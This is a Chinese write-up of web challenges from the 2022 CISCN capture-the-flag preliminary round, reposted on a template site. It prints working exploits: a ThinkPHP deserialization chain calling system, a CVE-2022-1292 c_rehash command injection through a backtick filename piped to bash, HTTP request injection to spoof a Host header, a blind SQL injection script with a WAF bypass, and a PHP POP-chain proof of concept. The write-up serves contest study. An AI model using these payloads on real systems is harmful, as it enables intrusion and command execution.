ezpop
源码泄露www.zip,用网上的链子直接打
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat /flag.txt"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
online_crt
考点:
CVE-2022-1292
SSRF
项目分析
项目后端为python+go,其中python部署在外网,go通过python转发到内网
先看python,一共有四个路由:
-
/
为主界面 -
/getcrt
生成一个x509证书 -
/createlink
调用c_rehash创建证书链接 -
/proxy
通过代理访问go内网服务
再来看go,有一个admin路由,用以重命名证书文件
解题
题目的考点为CVE-2022-1292,是c_rehash的一个命令注入漏洞
c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接
我们看到漏洞的commit:
https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split
这里没有过滤反引号就直接将文件名拼接到了命令中,那么我们在文件名中添加反引号即可执行任意命令
向上追溯可以发现:
在执行命令前函数会检查文件后缀名.(pem)|(crt)|(cer)|(crl)
和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查
漏洞利用条件
- 执行
c_rehash
的目标目录文件可控 - 文件后缀符合要求
- 文件内容必须包含证书或者吊销列表
- 文件名可控
题目中生成证书功能可以创建一个满足要求的文件,那么我们还需要对文件名进行修改
看到内网go部分:
为了实现可控的文件名,我们需要调用go的重命名功能,go的路由在重命名前有两个校验c.Request.URL.RawPath != "" && c.Request.Host == "admin"
我们需要绕过这两个验证
url注入http头
Request.Host
为请求的host头,在python中请求包中host头是固定的(test_host_api),这里我们需要想办法让go后端认为host值为admin
python在代理请求时直接使用了socket发送raw数据包,在数据包{uri}处没有过滤,所以我们可以在uri注入一个host头来替换原本的头,注入之后数据包变成:
GET / HTTP /1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
HTTP /1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
这样就可以绕过host头检验
go的RawPath特性
对于Request.URL.RawPath
检验,我们通过阅读go net库的源码,发现go语言中会对原始url进行解码(反转义),如果解码后再编码的url和原始url不同,那么RawPath会被设置为原始url,反之会被设置为空
也就是说为了避免RawPath被置空,我们只需将url中任意一个/
进行url编码即可
整体流程
-
访问 /getcrt 路由 生成一个证书 返回证书路径
static/crt/62a5726a-352a-4538-b236-1972b59ccf1e.crt
-
请求 /proxy 修改证书名为恶意文件名
这一步需要构造HTTP包注入多个HTTP连接来改HOST并且URL里面有个/要改成%2f绕过检查访问重命名接口
利用CVE构造命令注入Payloadm,发包改名
`echo "Y2F0IC9mbGFnID4gZmxhZw==" | base64 -d | bash`.crt
发包:
GET /proxy HTTP/1.1 Host: 1.14.71.254:28536 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5FhbXcy21j5NxtoY Content-Length: 478 ------WebKitFormBoundary5FhbXcy21j5NxtoY Content-Disposition: form-data; name="uri" / HTTP/1.1 Host: admin Connection: keep-alive GET /admin%2frename?oldname=62a5726a-352a-4538-b236-1972b59ccf1e.crt&newname=%60%65%63%68%6f%20%22%59%32%46%30%49%43%39%6d%62%47%46%6e%49%44%34%67%5a%6d%78%68%5a%77%3d%3d%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%60%2e%63%72%74 HTTP/1.1 Host: admin Connection: close GET / ------WebKitFormBoundary5FhbXcy21j5NxtoY--
-
访问createlink接口,触发命令注入,将flag写入
static/crt/flag
-
最后访问即可
ezpentest
SQL注入
首先进入题目是一个登录框
题目给出了waf:
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>
这一部分内容和虎符杯类似,我们构造payload
0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'
简单分析一下:
-
利用like去正则匹配password这一列的数据,如果匹配到就返回
9223372036854775807+1
这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’0’,服务器会报error -
+''
是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1
,这个18446744073709551615
的值其实就是~0
,也就是说这个payload其实就是~0+1
-
utf8mb4_bin
是用来区分大小写的,因为like正则匹配是不区分大小写的 -
case用来解决优先级问题
所以构造脚本:
import requests
import string
payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
#这里过滤了取反,所以要用9223372036854775807+1这个也可以18446744073709551615+1来代替溢出
list = string.ascii_letters + string.digits + '^$!_%@&'
proxies={
'http':'http://127.0.0.1:8080'
} #这里是可以通过走代理来看下自己打进去的payload有没有啥问题。
url = 'http://1.14.71.254:28706/login.php'
j=''
while 1:
for i in list:
if (i in '%_'): #这里是对like正则匹配中的一些特殊符号进行转义,这里很重要,不然注出来的结果都不行。
i = "\\" + i
now_payload=payload.format(j+i)
date={
'password': now_payload,
'username': 'aaa'
}
print(now_payload)
re = requests.post(url,data=date)
print(re.text)
if re.status_code==500:
print("ok")
j+=i
print(j)
break
# 最后得到的账号密码
# nssctfwabbybaboo!@$%!!
# PAssw40d_Y0u3_Never_Konwn!@!!
解混淆
登陆后发现混淆代码,提示有一个1Nd3x_Y0u_N3v3R_Kn0W.php
直接访问得到SomeClass.php
的内容
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>
而主页面本身是一段混淆之后的代码,查看源码发现是由phpjiami
进行混淆的
https://github.com/wenshui2008/phpjiami_decode
由于phpjiami解密相对比较苛刻,少一个字符都会解密失败,可以采用脚本把混淆代码保存下来再解密
<?php
$url ="http://1.14.71.254:28706/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "PHPSESSID=00110b2656dbd4b5dd347f793e516da1");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("pop.php",$result);
?>
解密之后的文件为:
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}
POP链构造
入口点在class E,die方法中是字符串处理,让a为对象会触发__toString方法
接下来触发顺序为
B::__toString->a::see
在类A中,我们只需要令b为原生类,a参数和b参数都是可控的就可以rce了
链子的触发点就是1Nd3x_Y0u_N3v3R_Kn0W.php
文件,但是如果我们想把可以rce的文件包含进来,就要创建一个SomeClass类,而这里对some
进行了过滤。
我们只需要让include $classname.".php"
将文件包含的同时直接进入那个destrust方法销毁,这里可以利用gc回收机制。我们将数组索引置为0,这样就会失去上一个对象的引用从而进入destrust。
还有一种方法可以提前进入destrust,利用fastdestrust,传一个损坏的序列化数据,比如O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;
,把后面 }
的符号去掉就行,但是这里有对序列化数据格式正确与否进行校验所以无法使用。
POC:
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
class SomeClass{
public $a;
}
$e = new E();
$a = new A();
$b = new B();
$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();//换其他原生类都行error啥的都可以
$arr->a = "system";
$arr->b = "cat /nssctfflag";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
得到flag:
cmdbrowser
暂无复现途径
参考:
https://mp.weixin.qq.com/s/vTF9ArXKp4RCFQPl6mOGkA文章来源:https://www.toymoban.com/news/detail-410912.html
https://rce.moe/archives/文章来源地址https://www.toymoban.com/news/detail-410912.html
到了这里,关于[2022 CISCN]初赛 web题目复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!